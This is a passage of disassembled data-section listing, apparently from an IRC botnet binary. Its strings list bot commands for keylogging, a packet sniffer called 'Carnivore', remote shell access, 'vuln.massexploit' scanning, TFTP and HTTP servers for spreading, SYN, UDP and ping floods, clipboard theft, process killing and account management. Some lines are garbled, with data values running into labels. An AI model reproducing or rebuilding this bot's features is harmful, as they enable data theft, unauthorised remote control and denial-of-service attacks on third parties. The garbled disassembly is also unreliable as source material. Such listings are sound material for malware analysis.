		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aKeyLoggerStopp	db ' Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aBox_keylog	db 'box.keylog',0       ; DATA XREF: .nsp0:0040BC72o
		align 10h
unk_42F260	db    2			; DATA XREF: .nsp0:loc_40BC65o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aNoCarnivoreThr	db 'No Carnivore thread found.',0
		align 4
unk_42F29C	db    2			; DATA XREF: .nsp0:0040BC5Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCarnivoreStopp	db 'Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
aOff		db 'off',0              ; DATA XREF: .nsp0:0040BC38o
					; .nsp0:0040BCA9o
unk_42F2EC	db    2			; DATA XREF: .nsp0:0040BC2Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToSta_22	db 'Failed to start sniffer thread, error: <%d>.',0
		align 4
unk_42F33C	db    2			; DATA XREF: .nsp0:0040BBBEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCarnivorePacke	db 'Carnivore packet sniffer active.',0
		align 10h
unk_42F380	db    2			; DATA XREF: .nsp0:0040BB5Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aAlreadyRunni_2	db 'Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: .nsp0:0040BB3Ao
					; .nsp0:0040BC87o
		align 4
aSniff		db 'sniff',0            ; DATA XREF: .nsp0:0040BB25o
		align 10h
aBox_rf		db 'box.rf',0           ; DATA XREF: .nsp0:0040BB0Eo
		align 4
aBox_readfile	db 'box.readfile',0     ; DATA XREF: .nsp0:0040BAF7o
		align 4
aBox_cm		db 'box.cm',0           ; DATA XREF: .nsp0:0040BAE0o
		align 10h
aBox_cmd	db 'box.cmd',0          ; DATA XREF: .nsp0:0040BAC9o
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: .nsp0:0040BA9Bo
					; .nsp0:0040BAB2o
		align 4
aBox_fl		db 'box.fl',0           ; DATA XREF: .nsp0:0040BA84o
		align 4
aBox_filelist	db 'box.filelist',0     ; DATA XREF: .nsp0:0040BA6Do
		align 4
aBox_del	db 'box.del',0          ; DATA XREF: .nsp0:0040BA56o
aBox_delete	db 'box.delete',0       ; DATA XREF: .nsp0:0040BA3Fo
		align 10h
aBox_pkid	db 'box.pkid',0         ; DATA XREF: .nsp0:0040BA28o
		align 4
aBox_prockillid	db 'box.prockillid',0   ; DATA XREF: .nsp0:0040BA11o
		align 4
aBox_kpn	db 'box.kpn',0          ; DATA XREF: .nsp0:0040B9FAo
aBox_killprocna	db 'box.killprocname',0 ; DATA XREF: .nsp0:0040B9E3o
		align 4
aEnz_dn		db 'enz.dn',0           ; DATA XREF: .nsp0:0040B9CCo
		align 10h
aEnz_dns	db 'enz.dns',0          ; DATA XREF: .nsp0:0040B9B5o
aEnz_se		db 'enz.se',0           ; DATA XREF: .nsp0:0040B99Eo
		align 10h
aEnz_setserve	db 'enz.setserve',0     ; DATA XREF: .nsp0:0040B987o
		align 10h
aBox_o		db 'box.o',0            ; DATA XREF: .nsp0:0040B970o
		align 4
aBox_open	db 'box.open',0         ; DATA XREF: .nsp0:0040B959o
		align 4
aEnz_pr		db 'enz.pr',0           ; DATA XREF: .nsp0:0040B942o
		align 4
aEnz_prefix	db 'enz.prefix',0       ; DATA XREF: .nsp0:0040B92Bo
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: .nsp0:0040B914o
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: .nsp0:0040B8FDo
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: .nsp0:0040B8E6o
aClone_quit	db 'clone.quit',0       ; DATA XREF: .nsp0:0040B8CFo
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: .nsp0:0040B8B8o
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: .nsp0:0040B8A1o
		align 4
aEnz_r		db 'enz.r',0            ; DATA XREF: .nsp0:0040B88Ao
		align 4
aEnz_raw	db 'enz.raw',0          ; DATA XREF: .nsp0:0040B873o
aEnz_pt		db 'enz.pt',0           ; DATA XREF: .nsp0:0040B85Co
		align 4
aEnz_part	db 'enz.part',0         ; DATA XREF: .nsp0:0040B845o
		align 4
aEnz_j		db 'enz.j',0            ; DATA XREF: .nsp0:0040B82Eo
		align 10h
aEnz_join	db 'enz.join',0         ; DATA XREF: .nsp0:0040B817o
		align 4
aEnz_n		db 'enz.n',0            ; DATA XREF: .nsp0:0040B800o
		align 4
aEnz_nick	db 'enz.nick',0         ; DATA XREF: .nsp0:0040B7E9o
		align 10h
aVall		db 'vall',0             ; DATA XREF: .nsp0:0040B7C3o
		align 4
aVuln_massexplo	db 'vuln.massexploit',0 ; DATA XREF: .nsp0:0040B7AEo
		align 4
aServer_tf_on	db 'server.tf.on',0     ; DATA XREF: .nsp0:0040B799o
		align 4
aServer_tftp_on	db 'server.tftp.on',0   ; DATA XREF: .nsp0:0040B784o
		align 4
aServer_web_on	db 'server.web.on',0    ; DATA XREF: .nsp0:0040B76Fo
		align 4
aServer_httpd_o	db 'server.httpd.on',0  ; DATA XREF: .nsp0:0040B75Ao
aVuln_cip	db 'vuln.cip',0         ; DATA XREF: .nsp0:0040B745o
		align 4
aVuln_currentip	db 'vuln.currentip',0   ; DATA XREF: .nsp0:0040B730o
		align 4
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: .nsp0:0040B71Bo
		align 4
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: .nsp0:0040B706o
		align 4
aUtil_farp	db 'util.farp',0        ; DATA XREF: .nsp0:0040B6F1o
		align 10h
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: .nsp0:0040B6DCo
		align 10h
aBox_gc		db 'box.gc',0           ; DATA XREF: .nsp0:0040B6C7o
		align 4
aBox_getclip	db 'box.getclip',0      ; DATA XREF: .nsp0:0040B6B2o
dword_42F604	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040B6A1o
		dd 2029206Ch, 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: .nsp0:0040B66Do
		align 10h
aEmpty		db '<Empty>',0          ; DATA XREF: .nsp0:0040B660o
aLoginList	db '-[Login List]-',0   ; DATA XREF: .nsp0:0040B63Eo
		align 4
aEnz_who	db 'enz.who',0          ; DATA XREF: .nsp0:0040B625o
aCmd		db '[CMD]',0            ; DATA XREF: .nsp0:0040B61Ao
		align 4
aRemoteShell	db 'Remote shell',0     ; DATA XREF: .nsp0:0040B615o
		align 4
aBox_ocmd_off	db 'box.ocmd.off',0     ; DATA XREF: .nsp0:0040B5FCo
		align 4
aBox_ocmd	db 'box.ocmd',0         ; DATA XREF: .nsp0:0040B5E7o
		align 4
aBox_opencmd	db 'box.opencmd',0      ; DATA XREF: .nsp0:0040B5D2o
aBox_dll	db 'box.dll',0          ; DATA XREF: .nsp0:0040B5BDo
aBox_testdlls	db 'box.testdlls',0     ; DATA XREF: .nsp0:0040B5A8o
		align 4
aBox_drv	db 'box.drv',0          ; DATA XREF: .nsp0:0040B593o
aBox_driveinfo	db 'box.driveinfo',0    ; DATA XREF: .nsp0:0040B57Eo
		align 10h
aBox_up		db 'box.up',0           ; DATA XREF: .nsp0:0040B569o
		align 4
aBox_uptime	db 'box.uptime',0       ; DATA XREF: .nsp0:0040B554o
		align 4
aBox_ps		db 'box.ps',0           ; DATA XREF: .nsp0:0040B53Fo
		align 4
aBox_procs	db 'box.procs',0        ; DATA XREF: .nsp0:0040B52Ao
		align 4
aR0i0m		db 'r0i0m`',0           ; DATA XREF: .nsp0:0040B515o
		align 10h
aEnz_beg0ne	db 'enz.beg0ne`',0      ; DATA XREF: .nsp0:0040B500o
aSi		db 'si',0               ; DATA XREF: .nsp0:0040B4EBo
		align 10h
aBox_sysinfo	db 'box.sysinfo',0      ; DATA XREF: .nsp0:0040B4D6o
aBox_ni		db 'box.ni',0           ; DATA XREF: .nsp0:0040B4C1o
		align 4
aBox_netinfo	db 'box.netinfo',0      ; DATA XREF: .nsp0:0040B4ACo
aUtil_clg	db 'util.clg',0         ; DATA XREF: .nsp0:0040B497o
		align 4
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: .nsp0:0040B482o
		align 4
aEnz_lg		db 'enz.lg',0           ; DATA XREF: .nsp0:0040B46Do
		align 4
aEnz_log	db 'enz.log',0          ; DATA XREF: .nsp0:0040B458o
aEnz_al		db 'enz.al',0           ; DATA XREF: .nsp0:0040B443o
		align 4
aEnz_aliases	db 'enz.aliases',0      ; DATA XREF: .nsp0:0040B42Eo
aThreads_l	db 'threads.l',0        ; DATA XREF: .nsp0:0040B419o
		align 4
aThreads_list	db 'threads.list',0     ; DATA XREF: .nsp0:0040B404o
		align 4
dword_42F78C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040B3D0o
		dd 2029206Ch, 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 4
dword_42F7C4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040B3C9o
		dd 2029206Ch, 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aBox_rebewt	db 'box.rebewt',0       ; DATA XREF: .nsp0:0040B3B2o
		align 10h
aEnz_i		db 'enz.i',0            ; DATA XREF: .nsp0:0040B39Do
		align 4
aEnz_id		db 'enz.id',0           ; DATA XREF: .nsp0:0040B388o
		align 10h
aEnz_s		db 'enz.s',0            ; DATA XREF: .nsp0:0040B373o
		align 4
aEnz_status	db 'enz.status',0       ; DATA XREF: .nsp0:0040B35Eo
		align 4
aEnz_t3rm1	db 'enz.t3rm1',0        ; DATA XREF: .nsp0:0040B349o
		align 10h
aEnz_t3rm1nate	db 'enz.t3rm1nate',0    ; DATA XREF: .nsp0:0040B334o
		align 10h
aEnz_et3	db 'enz.et3',0          ; DATA XREF: .nsp0:0040B31Fo
aEnz_endt3rm	db 'enz.endt3rm',0      ; DATA XREF: .nsp0:0040B30Ao
aEnz_rh4	db 'enz.rh4',0          ; DATA XREF: .nsp0:0040B2F5o
aEnz_reh4sh	db 'enz.reh4sh',0       ; DATA XREF: .nsp0:0040B2E0o
		align 4
aVuln_st	db 'vuln.st',0          ; DATA XREF: .nsp0:0040B2CBo
aVuln_stats	db 'vuln.stats',0       ; DATA XREF: .nsp0:0040B2B6o
		align 4
aExploitation	db 'Exploitation',0     ; DATA XREF: .nsp0:0040B2ABo
		align 4
aScan		db 'Scan',0             ; DATA XREF: .nsp0:0040B2A6o
		align 4
aVuln_stop	db 'vuln.stop',0        ; DATA XREF: .nsp0:0040B28Do
		align 10h
dword_42F8A0	dd 65027302h, 1F727563h, 2E2E1F65h, 0aSecure_0	db 'Secure',0           ; DATA XREF: .nsp0:0040B27Do
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: .nsp0:0040B264o
		align 4
dword_42F8C8	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0aClone		db 'Clone',0            ; DATA XREF: .nsp0:0040B254o
		align 10h
aClone_off	db 'clone.off',0        ; DATA XREF: .nsp0:0040B23Bo
		align 4
aBox_ps_off	db 'box.ps.off',0       ; DATA XREF: .nsp0:0040B226o
		align 4
aBox_procs_off	db 'box.procs.off',0    ; DATA XREF: .nsp0:0040B211o
		align 4
aBox_ff_off	db 'box.ff.off',0       ; DATA XREF: .nsp0:0040B1FCo
		align 4
aBox_findfile_o	db 'box.findfile.off',0 ; DATA XREF: .nsp0:0040B1E7o
		align 4
dword_42F928	dd 66027402h, 641F7074h, 2E2E1FhaServer_tftp_of	db 'server.tftp.off',0  ; DATA XREF: .nsp0:0040B1BEo
dword_42F944	dd 69027002h, 1F671F6Eh, 2E2Ehdword_42F950	dd 676E6950h, 6F6C6620h, 646Fhdword_42F95C	dd 736F6464h, 6E69702Eh, 666F2E67h, 66hdword_42F96C	dd 64027502h, 2E1F701Fh, 2Ehdword_42F978	dd 20504455h, 6F6F6C66h, 64hdword_42F984	dd 736F6464h, 7064752Eh, 66666F2Eh, 0dword_42F994	dd 79027302h, 2E1F6E1Fh, 2Ehdword_42F9A0	dd 206E7953h, 6F6F6C66h, 64hdword_42F9AC	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0dword_42F9BC	dd 64026402h, 1F731F6Fh, 2E2Ehdword_42F9C8	dd 536F4444h, 6F6C6620h, 646Fhdword_42F9D4	dd 736F6464h, 66666F2Eh, 0dword_42F9E0	dd 65027202h, 65726964h, 1F741F63h, 2E2Ehdword_42F9F0	dd 20504354h, 69646572h, 74636572h, 0aServer_redirec	db 'server.redirect.off',0 ; DATA XREF: .nsp0:0040B0F1o
dword_42FA14	dd 6F026C02h, 2E1F671Fh, 2Ehdword_42FA20	dd 20676F4Ch, 7473696Ch, 0dword_42FA2C	dd 2E676F6Ch, 66666Fhdword_42FA34	dd 74026802h, 641F7074h, 2E2E1Fhdword_42FA40	dd 76726573h, 772E7265h, 6F2E6265h, 6666hdword_42FA50	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2EhaServer		db 'Server',0           ; DATA XREF: .nsp0:0040B08Fo
					; .nsp0:0040B0B8o ...
		align 4
aServer_rlogin_	db 'server.rlogin.off',0 ; DATA XREF: .nsp0:0040B076o
		align 4
aLd_off		db 'ld.off',0           ; DATA XREF: .nsp0:0040B061o
		align 4
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: .nsp0:0040B04Co
		align 4
aLd_on		db 'ld.on',0            ; DATA XREF: .nsp0:0040B037o
		align 4
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: .nsp0:0040B022o
aEnz_ver	db 'enz.ver',0          ; DATA XREF: .nsp0:0040B00Do
aEnz_version	db 'enz.version',0      ; DATA XREF: .nsp0:0040AFF8o
aEnz_lo		db 'enz.lo',0           ; DATA XREF: .nsp0:0040AFE3o
		align 4
aEnz_logout	db 'enz.logout',0       ; DATA XREF: .nsp0:0040AFCEo
		align 10h
aEnz_d		db 'enz.d',0            ; DATA XREF: .nsp0:0040AFB9o
		align 4
aEnz_endsess	db 'enz.endsess',0      ; DATA XREF: .nsp0:0040AFA4o
aEnz_rn		db 'enz.rn',0           ; DATA XREF: .nsp0:0040AF8Fo
		align 4
aEnz_rndnick	db 'enz.rndnick',0      ; DATA XREF: .nsp0:0040AF77o
a63		db '63',0               ; DATA XREF: .nsp0:0040AE50o
		align 4
asc_42FAFC:				; DATA XREF: .nsp0:0040AE28o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: .nsp0:0040ADEBo
		align 4
aServer_2	db '$server',0          ; DATA XREF: .nsp0:0040ADE0o
aRndnick	db '$rndnick',0         ; DATA XREF: .nsp0:0040ADCFo
		align 4
aChan		db '$chan',0            ; DATA XREF: .nsp0:0040ADB3o
		align 4
aUser_2		db '$user',0            ; DATA XREF: .nsp0:0040ADA2o
		align 4
aMe_0		db '$me',0              ; DATA XREF: .nsp0:0040AD90o
aD_0		db '$%d',0              ; DATA XREF: .nsp0:0040AD22o
aD_1		db '$%d-',0             ; DATA XREF: .nsp0:0040AC67o
		align 4
dword_42FB3C	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: .nsp0:0040ABFCo
		dd 0A0Dh
dword_42FB54	dd 4E495001h, 47haSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: .nsp0:0040AB8Do
		align 4
dword_42FB78	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: .nsp0:0040AB73o
		dd 0D017325h, 0Ah
dword_42FB94	dd 52455601h, 4E4F4953h, 1dword_42FBA0	dd 6968h	aNewshit	db 'newshit',0          ; DATA XREF: .nsp0:0040A9FDo
a332		db '332',0              ; DATA XREF: .nsp0:0040A96Eo
					; .nsp0:0040AA34o ...
aNotice		db 'NOTICE',0           ; DATA XREF: .nsp0:0040A94Co
					; sub_40F9F1+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: .nsp0:0040A940o
					; sub_40F9F1+16o
dword_42FBC0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040A8EFo
		dd 2029206Ch, 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 4
dword_42FBF4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040A8CFo
		dd 2029206Ch, 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: .nsp0:0040A898o
aPart		db 'PART',0             ; DATA XREF: .nsp0:0040A84Ao
					; .nsp0:0040A90Co
		align 4
aSS_1		db ':%s%s',0            ; DATA XREF: .nsp0:0040A822o
		align 4
aNick		db 'NICK',0             ; DATA XREF: .nsp0:0040A704o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040A6A7o
					; .nsp0:0040A930o
dword_42FC54	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040A68Eo
					; .nsp0:0040F6CFo ...
		dd 2029206Ch, 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: .nsp0:0040A61Do
		align 10h
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: .nsp0:0040A5C6o
					; .nsp0:0040E88Co ...
		align 4
a433		db '433',0              ; DATA XREF: .nsp0:0040A59Eo
a302		db '302',0              ; DATA XREF: .nsp0:0040A563o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040A51Do
					; .nsp0:0040A6F1o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: .nsp0:0040A4FCo
		align 10h
aPing		db 'PING',0             ; DATA XREF: .nsp0:0040A4E2o
		align 4
asc_42FCC8	db ' :',0               ; DATA XREF: .nsp0:0040A3BFo
					; .nsp0:loc_40AC06o
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
		dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h,	0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
dword_42FD5C	dd 25207325h, 253A2073h, 0A0D73hoff_42FD68	dd offset aAdd		; DATA XREF: sub_40FA8C+6Dr
					; sub_40FE70+50r ...
					; "Add"
off_42FD6C	dd offset aAdded	; DATA XREF: sub_40FA8C+2Dr
					; sub_40FE70+82r ...
					; "Added"
dword_42FD70	dd 0				dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 42FDDCh, 42FDD4h,	2, 42FDC8h, 42FDBCh, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .nsp0:0042FD9Co
aStop_0		db 'Stop',0             ; DATA XREF: .nsp0:0042FD98o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .nsp0:0042FD90o
aStart_0	db 'Start',0            ; DATA XREF: .nsp0:0042FD8Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: .nsp0:0042FD84o
		align 4
aList_0		db 'List',0             ; DATA XREF: .nsp0:0042FD80o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .nsp0:0042FD78o
aDelete_0	db 'Delete',0           ; DATA XREF: .nsp0:0042FD74o
		align 4
aAdded		db 'Added',0            ; DATA XREF: .nsp0:off_42FD6Co
		align 4
aAdd		db 'Add',0              ; DATA XREF: .nsp0:off_42FD68o
dword_42FE30	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40FA8C+74o
		dd 2029206Ch, 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
dword_42FE68	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40FA8C+55o
		dd 2029206Ch, 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
dword_42FEA4	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40FA8C+38o
		dd 2029206Ch, 2BBBB02h
aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40FBB5+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_40FBB5:loc_40FCCDo
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_40FBB5:loc_40FCC6o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_40FBB5:loc_40FCBFo
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_40FBB5:loc_40FCB8o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_40FBB5:loc_40FCB1o
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_40FBB5:loc_40FCAAo
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_40FBB5:loc_40FCA3o
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_40FBB5:loc_40FC9Co
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_40FBB5:loc_40FC95o
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_40FBB5:loc_40FC8Eo
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_40FBB5:loc_40FC63o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_40FBB5:loc_40FC5Co
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_40FBB5:loc_40FC55o
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_40FBB5:loc_40FC4Eo
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_40FBB5+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_40FBB5:loc_40FC23o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_40FBB5:loc_40FC19o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_40FBB5:loc_40FC0Fo
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_40FBB5:loc_40FC05o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_40FBB5:loc_40FBFBo
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_40FBB5+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_40FD33+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_40FD33:loc_40FDFFo
aStarting	db '   Starting',0      ; DATA XREF: sub_40FD33:loc_40FDF8o
aStoping	db '    Stoping',0      ; DATA XREF: sub_40FD33:loc_40FDF1o
aRunning_0	db '    Running',0      ; DATA XREF: sub_40FD33:loc_40FDEAo
aContinuing	db ' Continuing',0      ; DATA XREF: sub_40FD33:loc_40FDE3o
aPausing	db '    Pausing',0      ; DATA XREF: sub_40FD33:loc_40FDDCo
aPaused_0	db '     Paused',0      ; DATA XREF: sub_40FD33:loc_40FDD5o
aUnknown_1	db '    Unknown',0      ; DATA XREF: sub_40FD33+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_40FD33+25o
		align 4
dword_43040C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40FE70+ABo
		dd 2029206Ch, 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 4
dword_430444	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40FE70+89o
		dd 2029206Ch, 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 4
dword_430474	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40FE70+57o
		dd 2029206Ch, 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_410065+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_410065+BCo
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_410065+B5o
dword_4304D4	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_410065+76o
		dd 2029206Ch, 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_410065+26o
		align 4
dword_430548	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_410186+B6o
		dd 2029206Ch, 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 4
dword_430584	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_410186+94o
		dd 2029206Ch, 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_4305C4	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_410186+6Do
		dd 2029206Ch, 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 4
dword_4305F8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4102CC+394o
		dd 2029206Ch, 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 10h
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_4102CC+36Ao
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_4102CC+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_4102CC+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_4102CC+2ECo
		align 10h
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_4102CC+2C4o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_4102CC+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_4102CC+271o
